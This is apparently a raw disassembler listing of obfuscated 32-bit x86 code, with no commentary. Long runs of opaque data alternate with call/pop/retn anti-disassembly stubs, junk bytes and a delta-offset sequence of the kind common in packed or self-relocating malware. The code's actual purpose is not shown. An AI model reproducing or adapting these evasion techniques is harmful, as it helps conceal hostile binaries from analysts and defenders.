		dd 0F3B70F2Bh, 0F00C183h, 688h,	870F00h, 3B000000h, 0E6860FD9h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C571C356h, 5101D935h,	664B28C8h
		dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0C05B59C3h, 0A5BD89C1h, 0F607E91Dh, 840F04C1h
		dd 89h,	0FE8h, 0EB700C00h, 26F16911h, 8FE2DC9Bh, 6C3446AFh
		dd 2A65B58Bh, 0FF5E07E9h, 0E9005995h, 895BF507h, 0E911B58Dh
		dd 8BC32B07h, 8343DF8h,	860F0000h, 51h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 16h, 0D3C35242h, 8F0F2AEBh
		dd 0
; ---------------------------------------------------------------------------
		sub	[ebp+7E91389h],	eax
		jmp	loc_5C4D19
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C4CFA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4CFA	proc near		; CODE XREF: sdfs____:005C4CF2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5C4CFA	endp

; ---------------------------------------------------------------------------
		dw 0E65h
; ---------------------------------------------------------------------------
		sub	[ecx-740729A4h], al
		ror	byte ptr [ecx-16CECA6Bh], 7


loc_5C4D19:				; CODE XREF: sdfs____:005C4CEAj
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	eax
		call	sub_5C4D28
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4D28	proc near		; CODE XREF: sdfs____:005C4D20p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C4D28	endp

; ---------------------------------------------------------------------------
		dd 11E820CDh, 10000000h, 95B34634h, 6B19E8FCh, 0EF6937DAh
		dd 0ED5B6489h, 0F3B70F50h, 85C75F5Eh, 7E9181Dh,	5956F579h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 90C35343h
		dd 3BB04BFBh, 0F49BD8Bh, 0C08B07E9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0A3C35646h,	0D9B45870h, 0F335B62h
		dd 9D09FEBFh, 7E9161Dh,	5A3AE781h, 0BD8122F2h, 7E92AD1h
		dd 7D0h, 5B850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 6BE337C3h, 9D89CC14h
		dd 7E9130Dh, 2AD185FFh,	6A07E9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 71D985C3h, 91977F44h
		dd 880FBB2Fh, 5, 217728BEh, 0D1B5FF53h,	0F07E92Ah, 95FFFAB7h
		dd 7E90C31h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0D6C35646h, 1F6F264Dh, 0E727028Fh, 8E9C8h, 692E0000h
		dd 0C4A06480h, 8B901BAEh, 0E93001B5h, 99BD8907h, 8107E92Ah
		dd 0E0F0B2DEh, 8A0F600Dh, 5, 0B1E08166h, 7D8D012Bh, 6107E913h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 50C35242h
		dd 0BD2BE883h, 7E922A9h, 31F78B66h, 0E931359Dh,	0A1BD8B07h
		dd 0E907E919h, 0Ah, 4282AA23h, 0BAF0A43h, 8529194Fh, 7E914EDh
		dd 2CC1B501h, 665307E9h, 5FC079BEh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0FAC35040h,	0C690BF66h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 26C35242h, 11E9h
		dd 77204F00h, 7DE24A94h, 5CBF144Ch, 50DB3234h, 8B60D1B4h
		dd 0E9093985h, 298D0B07h, 8A07E900h, 0BF6661DEh, 6A83B7h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 51FEEBC3h, 0E9FAA8AFh, 0FFFFF722h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 92C35545h, 0C18B32EAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0ABC35242h, 81A4B251h
		dd 0A5CBCBD7h, 4EB38h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8E27C352h
		dd 19DDB589h, 2EBE07E9h, 8D052377h, 0E9086185h,	8E0F9007h
		dd 19h,	14E9h, 5A203C00h, 0C7E6A2Fh, 0AC5C97A4h, 860064E0h
		dd 0CC3AD1Eh, 5E950FBh,	23000000h, 0EC6EB4E7h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0E769FF5Fh, 52360F2Ah, 0BE66FC69h, 8B662D68h, 68A0FF7h
		dd 89000000h, 0E9266595h, 6A006A07h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 519FC353h
		dd 0F674BF66h, 2DB5035Eh, 6A07E907h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 2BB7659Eh
		dd 5DD78163h, 8D201651h, 0ED143B85h, 0A9BD8B07h, 8307E911h
		dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 3BACBC3h,	884A9A65h, 29ED8589h, 59BE07E9h
		dd 0BE37E586h, 38CF7895h, 0CE990h, 79BF0000h, 62FC872Eh
		dd 0DF1CC020h, 50505CD8h, 66310F52h, 585AF38Bh,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 5DABC372h, 4538CC6Fh, 8E0F2954h, 6, 0C99D89h, 0D68107E9h
		dd 0A0BFECDh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0BB74DAC3h, 0C3A37636h, 7498D89h
		dd 6A07E9h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Ah,	87C35040h, 73CAE9B6h, 0F18BA5E0h, 0FB995FFh, 6A07E9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9D8DA6C3h, 7ECD72Ch,	6AD3FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0E0B901C3h, 0DD07536Bh
		dd 85952924h, 0E807E90Bh, 0Ah, 2C96E4B4h, 0D2EB9BB3h, 820FA4BAh
		dd 0
; ---------------------------------------------------------------------------
		pop	esi
		inc	dword ptr [ebp+7E90F9Dh]
		mov	[ebp+7E91CC1h],	edx
		jmp	loc_5C596E
; ---------------------------------------------------------------------------


loc_5C51FA:				; CODE XREF: sdfs____:005C595Fj
		call	$+5
		pop	ebp
		sub	ebp, 7ED1445h
		push	0
		push	ecx
		call	sub_5C5211
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5211	proc near		; CODE XREF: sdfs____:005C5209p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5C5211	endp

; ---------------------------------------------------------------------------
		db 36h,	43h, 9Eh
		dd 0BD812016h, 7E92AD1h, 7D0h, 1F7860Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 867CCCC3h, 0BDBD8952h, 8B07E92Eh, 0E91B65B5h, 5D9D8B07h
		dd 6A07E91Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 5C4CC351h, 0B311F533h,	1845BD8Bh
		dd 0E38107E9h, 100h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 9FC35747h, 5C23F73Eh,	4F2AA7B8h, 0F98D89CEh
		dd 8B07E917h, 0E91E4DBDh, 0FDB0B07h, 0FB85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 29768C7Eh, 83FE8B40h, 0ED11F9BDh, 840F0007h,	75h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CFC35646h, 309D2AADh
		dd 0E87251EBh, 0Dh, 0E6E93AA7h,	0C566DA58h, 41C9764h, 0CE821h
		dd 5A360000h, 0E97CE5h,	7E228B95h, 9D09FF74h, 7E924E1h
		dd 85E95E5Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 58FFC355h, 0DD31684Dh
		dd 0F985C7BEh, 107ED11h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0F03FC350h
		dd 0A1895216h, 0E9AD2567h, 30h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0E7C35040h,	675A107h, 0BB4F5D4Bh
		dd 11F985C7h, 7EDh, 0F78B0000h,	1E5D9D8Dh, 6A07E9h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 9396F5C3h, 65B10139h, 81F08B66h, 0FFFEFF23h,	52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0B5297D3Fh, 7E90185h, 0A9BF66FCh, 0DB8C6671h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B0C35040h, 896B1BA9h
		dd 0E92FC98Dh, 3DB58907h, 0F607E90Fh, 840F04C3h, 59h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5DC35040h, 624A14B9h
		dd 915A3A2Eh, 85B58BD4h, 0FF07E913h, 0E9005995h, 5090F507h
		dd 6A90F28Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 7B12C355h, 314C089Fh, 2DCE999h
		dd 840F0000h, 3, 0B0F2BF0Fh, 8970E600h,	0E908F595h, 8971E407h
		dd 0E92FF1B5h, 0EE907h,	0E7FE0000h, 2C3A90A9h, 0C39D0F57h
		dd 298AC43Ch, 0BAD8B60Fh, 6, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0C4C35747h,	8BF5D5C3h, 0E91DC5B5h
		dd 6AC38B07h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 7C7C357h, 0C9BAA9C1h, 4E8C131h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FAC35343h
		dd 0B70FD2FEh, 0E2F766F2h, 6660D82Bh, 0F90FC0B8h, 7E95061h
		dd 23000000h, 385CA369h, 1C8908F5h, 14E924h, 0CA040000h
		dd 0D3DA3F80h, 35CD9C95h, 625C6D1h, 8559637Bh, 0BF662804h
		dd 0B5FF32BCh, 7E92AD1h, 5820Fh, 81660000h, 0BF1D38CFh
		dd 164BD268h, 0C3195FFh, 816607E9h, 0B0D5DCDEh,	9D8B6000h
		dd 7E91A79h, 16258501h,	0E66107E9h, 6DB52970h, 0E407E90Bh
		dd 6E971h, 9FD60000h, 0A24F4E3Dh, 830F613Ch, 1B2h, 269B533h
		dd 0B60F07E9h, 9B501D8h, 0F07E935h, 84h, 6BA00h, 11E80000h
		dd 37000000h, 0A472BBBh, 56677CBBh, 5A5751F6h, 225A35CCh
		dd 68E0Fh, 0CE810000h, 52689FB3h, 66C38B5Eh, 0A005C781h
		dd 104E8C1h, 0E93461BDh, 9E807h, 0D8F30000h, 1EC58010h
		dd 0F81F8FD2h, 0E2F7665Fh, 2BF2B70Fh, 52006AD8h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 2B58BDCFh, 27880FD8h, 0F000001h, 7B9FBBFh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0A783C350h, 3CCCB3CFh, 0BD2BA63Fh, 7E92B51h
		dd 0F53BC781h, 0C1835F54h, 51BD3300h, 3B07E92Fh, 0DF860FD9h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 3540C351h, 331F6F6h, 8C66932Ah
		dd 50006AD9h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 52E92E43h, 0D1D78072h, 4C1F670h,	6B840Fh
		dd 0BD030000h, 7E916ADh, 5995FFh, 9D8907E9h, 7E9350Dh
		dd 96BF665Bh, 60C32BE4h, 8818589h, 0B58B07E9h, 7E92B01h
		dd 3745BF61h, 343D077Ah, 0F000008h, 3486h, 0F8515100h
		dd 4BE95E5Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0D00C355h, 57922707h
		dd 32B72665h, 0D7EF8166h, 6AC08B22h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BA03C352h
		dd 0C38BB98Bh, 820FD88Bh, 6, 3105BD8Bh,	85C707E9h, 7E911B9h
		dd 77ED4BFBh, 1AAD9509h, 0C08B07E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 8DC35545h, 9BC86A89h, 68E000AEh
		dd 288F0F0Ah, 0E8000000h, 12h, 0D56A54F0h, 54A05456h, 1D6F941Ah
		dd 5F24E592h, 0BE9A582h, 1A000000h, 0A6BCC43Eh,	42630E6Eh
		dd 815EB21Ah, 0E92AD1BDh, 7D007h, 9850F00h, 0FF000000h
		dd 0E92AD185h, 0F88B6607h, 2AD1B5FFh, 816607E9h, 0FF3A50C6h
		dd 0E90C3195h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 9030F785h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 45C35343h, 300D4BD6h
		dd 0BE82BFBh, 0B2000000h, 409D3A43h, 517F2E21h,	0FE8313Eh
		dd 0FF000000h, 6547C9Ah, 37877FB4h, 2E4C2F0Ch, 6E8687Ch
		dd 94000000h, 0CF6E292Ch, 870F5E70h, 0
; ---------------------------------------------------------------------------
		pop	edi
		mov	[ebp+7E92169h],	ebx
		pop	edi
		push	edi
		push	ecx
		mov	[ebp+7E90AF1h],	esi
		add	di, 5DF7h
		pop	edi
		pop	esi
		sub	edi, [ebp+7E92A95h]
		push	ebx
		mov	[ebp+7E91391h],	eax
		jmp	loc_5C58F0
; ---------------------------------------------------------------------------
		db 80h,	13h, 2Dh
		dd 377FA474h, 0F77D1F4h, 0A4CB30BDh, 0F16D6FA4h
; ---------------------------------------------------------------------------


loc_5C58F0:				; CODE XREF: sdfs____:005C58D8j
		pop	esi
		mov	[ebp+7E929E1h],	ebx
		cmc
		push	eax
		pusha
		mov	[ebp+7E93195h],	edx
		jmp	loc_5C5914
; ---------------------------------------------------------------------------
		align 2
		dw 0F0F5h
		db 0CCh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 25A0h
		dd 0F061C330h, 34E69D18h
; ---------------------------------------------------------------------------


loc_5C5914:				; CODE XREF: sdfs____:005C5900j
		mov	[ebp+7E926A1h],	edx
		jmp	loc_5C592F
; ---------------------------------------------------------------------------
		db 4Ah
		dd 7AF8285Fh, 0DD9E18DBh, 0BCF94A75h
		db 85h,	89h, 0D2h
; ---------------------------------------------------------------------------


loc_5C592F:				; CODE XREF: sdfs____:005C591Aj
		popa
		mov	si, cx
		pop	edi
		push	0
		push	eax
		call	sub_5C593F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C593F	proc near		; CODE XREF: sdfs____:005C5937p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5C593F	endp

; ---------------------------------------------------------------------------
		db	64h
		les	esp, cs:[esi-41h]
		retf	66D0h
; ---------------------------------------------------------------------------
		db 81h
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+0Bh], 42CDBE66h
		jmp	loc_5C51FA
; ---------------------------------------------------------------------------
		or	si, 9FFEh
		adc	di, 0CBBEh


loc_5C596E:				; CODE XREF: sdfs____:005C51F5j
		mov	eax, ecx
		push	0
		push	eax
		call	sub_5C597B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C597B	proc near		; CODE XREF: sdfs____:005C5973p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5C597B	endp

; ---------------------------------------------------------------------------
		db 6Fh
; ---------------------------------------------------------------------------
		imul	byte ptr [eax-74D0BF55h]
		sti
		mov	si, 0CC09h
		push	ecx
		and	edi, [ebp+7E92A85h]
		pop	edi
		jmp	short loc_5C59A5
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_5C59A5:				; CODE XREF: sdfs____:005C599Fj
		push	0
		push	ebx
		call	sub_5C59B0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C59B0	proc near		; CODE XREF: sdfs____:005C59A8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5C59B0	endp

; ---------------------------------------------------------------------------
		dd 0EBC5E79Ah, 918529D4h, 3107E902h, 0E929F595h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0F08B66D8h, 861858Dh, 0C9BE07E9h, 506CFDFAh,	11E853h
		dd 0FBEC0000h, 0C4AF7D97h, 0E780E25Fh, 3894BDCBh, 5EC86CFDh
		dd 2404895Fh, 3055B50Bh, 666007E9h, 0BF92E881h,	2F31BD8Bh
		dd 6A6107E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 8A12C9BDh, 75FF9BD7h, 0F006A74h
		dd 382h, 0FE8B6600h, 1DC3858Dh,	6A07EDh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 722809C3h
		dd 0BA5CC5CEh, 0F78B660Eh, 6A05C083h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7B4FC355h
		dd 6800Fh, 0BD310000h, 7E92691h, 0F98B6650h, 0BE240489h
		dd 4578AF3Eh, 8960006Ah, 0E90939B5h, 998D3307h,	6107E913h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0E6541CC3h, 0ADE1549Dh, 0B995FF1Ch, 6A07E90Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 5E9FC356h, 0BD893523h, 7E91821h, 0D72C9D8Dh
		dd 316007ECh, 0E9245195h, 0CF8B6607h, 6AD3FF61h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0AC63C353h, 0FFF5A719h, 0E90F9D85h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 893AAC2Eh, 0E92E5D95h, 8A1E907h, 0E80000h, 5D000000h
		dd 1DCDED81h, 6A07EDh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 813A31C3h, 0E92AD1BDh, 7D007h, 8E860F00h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 64CC353h, 0BFF1807Ch, 10E81B53h
		dd 0B8000000h, 103A9CACh, 35166DB2h, 3AFE92ECh,	0F2E4F8Ah
		dd 389h, 0F08B6600h, 0E19D8B5Fh, 8907E92Fh, 0E9345185h
		dd 81B58B07h, 8107E92Ch, 100E3h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0DBBD9022h
		dd 0CCD36315h, 8B66B35Ch, 0FDB0BF9h, 0A485h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0B70FCDBCh, 0E7BD83F0h, 7ED1Bh, 19840Fh, 8D010000h
		dd 7E91C21h, 172DB58Bh,	7CE907E9h, 52000000h, 13C99589h
		dd 0C75F07E9h, 0ED1BE785h, 107h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 946DF881h
		dd 0E68166A8h, 40E98F22h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 610DC357h
		dd 7A801F1Ah, 8B7F9D93h, 0E91825B5h, 0E785C707h, 7ED1Bh
		dd 29000000h, 0E90F49BDh, 0ADBD8B07h, 8D07E92Ch, 0E92FE19Dh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0BBCCC0F0h, 820FB12Eh, 0Bh, 5860Fh, 81660000h
		dd 818FC4D7h, 0FFFEFF23h, 59589FFh, 8907E900h, 0E92595B5h
		dd 0DB8C6607h, 1C65B58Bh, 0C3F607E9h, 4B840F04h, 8B000000h
		dd 5995FFF3h, 0F07E900h, 685h, 0FD958900h, 5007E902h, 0AE8h
		dd 54BD0B00h, 3B2DF8C1h, 662E4A38h, 895FF88Bh, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0E281F6C3h, 0E1E97C02h, 8B000003h, 0E92EBDBDh, 0F00B007h
		dd 8960FABFh, 0E91BB1B5h, 0AE907h, 3ECC0000h, 15B93C86h
		dd 2A986529h, 0F70E661h, 18Dh, 71E4F800h, 2CA5BD89h, 0B60F07E9h
		dd 49B509D8h, 0BA07E91Dh, 6, 6AC38Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 771B95C3h
		dd 0D9BFB729h, 5060968Bh, 159D9D89h, 815907E9h,	0DDFCEBDAh
		dd 0F60611Eh, 0B70FFFB7h, 0E8C161F9h, 0FE8B6604h, 5D9589h
		dd 0F76607E9h, 56006AE2h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0F6CF18Fh, 589h, 0B70F5100h
		dd 0BD235FF1h, 7E91309h, 0BD8BD82Bh, 7E91941h, 50525050h
		dd 0AE952h, 0DAC20000h,	7F571CF8h, 5074B00h, 5250310Fh
		dd 585A310Fh, 310F585Ah, 14E853h, 5A850000h, 0D0A8C552h
		dd 5A4F764Ah, 25925D14h, 2FBD3C6Ah, 5F5E26D7h, 1C89585Ah
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 290673D0h, 0EA0FAE70h, 0B5FF17ADh, 7E92AD1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3DC35747h
		dd 0A7DE880h, 0A51D68D9h, 0C1BD331Dh, 0F07E91Eh, 95FFF0B7h
		dd 7E90C31h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	39C35545h, 0FEC251DBh, 0F7BF0FEAh, 6A00B0h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 5AE1ABC3h, 0E642B736h, 53006A70h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 7BF66F6h, 0F71E473h
		dd 689h, 0D5950900h, 3C07E91Eh,	0FD830F61h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 422FC355h, 33DC20EEh, 0E91739B5h,	0D8B60F07h
		dd 48B0Fh, 0BE660000h, 6BA32EBh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7C6FC357h
		dd 0BF0F8ADBh, 0F9C38BFEh, 6A04E8C1h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 2EC7C350h
		dd 0E6C08A45h, 0C6811331h, 704CF19Eh, 0E8E2F766h, 11h
		dd 496DF7B8h, 0EE33BF11h, 5E87B0A7h, 7FC3A61Bh,	99BD89DCh
		dd 5F07E934h, 8D31D82Bh, 7E917D1h, 5E958h, 0E9D0000h, 2BB42610h
		dd 39880FD8h, 0F000001h, 382h, 0FABF0F00h, 7B9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0BF6198F2h, 991BD89h, 0C18307E9h, 0FE8B6600h, 13BBF66h
		dd 860FD93Bh, 0F4h, 7E9h, 75329600h, 1B3DDAC9h,	1D98C66h
		dd 0E901899Dh, 4C1F607h, 0CB840Fh, 0BD8B0000h, 7E91941h
		dd 5995FFh, 6A07E9h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 160424h, 52420000h, 0B41BB4C3h, 10E8h, 447A3300h, 9413990Eh
		dd 0ED61F6A6h, 60D337F4h, 6D9D8932h, 5F07E92Eh,	2890Fh
		dd 0F38B0000h, 0C32BF85Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0ACC35646h, 890F5FCEh, 0
; ---------------------------------------------------------------------------
		jmp	loc_5C6142
; ---------------------------------------------------------------------------
		db 0A2h, 8, 99h
		dd 7401305h, 13042660h,	0CAFFEA51h
		db 89h,	0C9h
; ---------------------------------------------------------------------------


loc_5C6142:				; CODE XREF: sdfs____:005C612Cj
		cmp	eax, 834h
		jbe	loc_5C6181
		mov	[ebp+7E91FA1h],	edx
		jmp	loc_5C618C
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5C6163
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6163	proc near		; CODE XREF: sdfs____:005C615Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C6163	endp

; ---------------------------------------------------------------------------
		db 7Eh
		dd 35D6573Dh, 8B862BACh, 0E9085DB5h
; ---------------------------------------------------------------------------
		pop	es


loc_5C6181:				; CODE XREF: sdfs____:005C6147j
		mov	eax, eax
		jl	loc_5C618C
		movzx	esi, ax


loc_5C618C:				; CODE XREF: sdfs____:005C6153j
					; sdfs____:005C6183j
		mov	eax, ebx
		mov	ebx, eax
		mov	si, dx
		mov	dword ptr [ebp+7E91E5Dh], 1A59C3D9h
		push	0
		push	ebx
		call	sub_5C61A8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C61A8	proc near		; CODE XREF: sdfs____:005C61A0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5C61A8	endp

; ---------------------------------------------------------------------------
		dd 0A14BEAE5h, 0BF004711h, 1EEF04F8h, 6AC08Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0B3295BC3h, 6DFBF2E6h, 0FE8h, 0C9C49100h, 491EA6Bh
		dd 47CFFB84h, 9E1995FEh, 0CC18589h, 815F07E9h, 0E92AD1BDh
		dd 7D007h, 3A850F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 348AC355h, 0EAF04370h
		dd 27DE5D28h, 2BC78160h, 0F879E96Ch, 0D185FF61h, 8907E92Ah
		dd 0E92F618Dh, 0D1B5FF07h, 6A07E92Ah, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 55EBC357h
		dd 0F4F14DCh, 81h, 0B9BD2900h, 0FF07E913h, 0E90C3195h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0BFFB94F6h, 5BBC477Dh, 17830Fh, 830F0000h
		dd 11h,	0CE9h, 0B8881200h, 2C4FF843h, 50D47C1Ah, 6A9097h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 6A7F9BC3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 40C5C350h, 891051B9h, 0E91361BDh
		dd 0CEBE6607h, 6DBD89C3h, 6A07E926h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0BF7BC350h
		dd 43D1C8C8h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	20C35242h, 0B8E8159Eh, 9F975DA3h, 0C8E0Fh, 85890000h
		dd 7E90289h, 1ED98D09h,	0C78107E9h, 37AEDE39h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DAC35343h, 5DE39123h
		dd 6A927657h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 974C352h, 60C21471h, 1E619D8Bh
